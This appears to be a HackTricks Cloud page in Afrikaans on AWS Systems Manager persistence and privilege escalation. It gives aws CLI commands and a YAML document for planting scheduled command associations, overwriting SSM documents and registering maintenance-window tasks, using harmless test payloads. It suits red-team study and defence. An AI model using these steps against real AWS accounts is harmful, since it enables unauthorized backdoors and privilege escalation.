AWS - SSM Perssitence
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
SSM
Vir meer inligting, kyk:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
Using ssm:CreateAssociation for persistence
’n Aanvaller met die permissie ssm:CreateAssociation kan ’n State Manager Association skep om outomaties commands op EC2 instances te execute wat deur SSM managed word. Hierdie associations kan gekonfigureer word om teen ’n vaste interval te run, wat hulle geskik maak vir backdoor-like persistence sonder interactive sessions.
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
Hierdie persistence metode werk solank die EC2 instance deur Systems Manager bestuur word, die SSM agent loop, en die attacker toestemming het om associations te skep. Dit vereis nie interactive sessions of eksplisiete ssm:SendCommand permissions nie. Important: Die
--schedule-expressionparameter (bv.rate(30 minutes)) moet AWS se minimum interval van 30 minutes respekteer. Vir onmiddellike of eenmalige uitvoering, laat--schedule-expressionheeltemal weg — die association sal een keer uitgevoer word nadat dit geskep is.
ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)
’n attacker met die permissions ssm:UpdateDocument en ssm:UpdateDocumentDefaultVersion kan privileges eskaleer deur bestaande documents te modifiseer. Dit laat ook persistence binne daardie document toe. Prakties sou die attacker ook ssm:ListDocuments nodig hê om die names vir custom documents te kry, en as die attacker hul payload binne ’n bestaande document wil obfuscate, sal ssm:GetDocument ook nodig wees.
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
Hieronder is ’n voorbeeld dokument wat gebruik kan word om ’n bestaande dokument te oorskryf. Jy sal wil verseker dat jou dokumenttipe ooreenstem met die teikendokument se tipe om probleme met invokasie te vermy. Die dokument hieronder sal byvoorbeeld die ssm:SendCommand en ssm:CreateAssociation voorbeelde gebruik.
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)
n Aanvaller met die toestemmings **ssm:RegisterTaskWithMaintenanceWindow** en **ssm:RegisterTargetWithMaintenanceWindow** kan privileges eskaleer deur eers ’n nuwe target by ’n bestaande maintenance window te registreer en dan ’n nuwe taak op te dateer en te registreer. Dit bewerkstellig uitvoering op die bestaande targets, maar kan ’n aanvaller toelaat om compute met verskillende roles te kompromitteer deur nuwe targets te registreer. Dit laat ook persistence toe, aangesien maintenance windows tasks op ’n vooraf-gedefinieerde interval tydens die window creation uitgevoer word. Prakties sou die aanvaller ook **ssm:DescribeMaintenanceWindows`** nodig hê om die maintenance window IDs te kry.
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

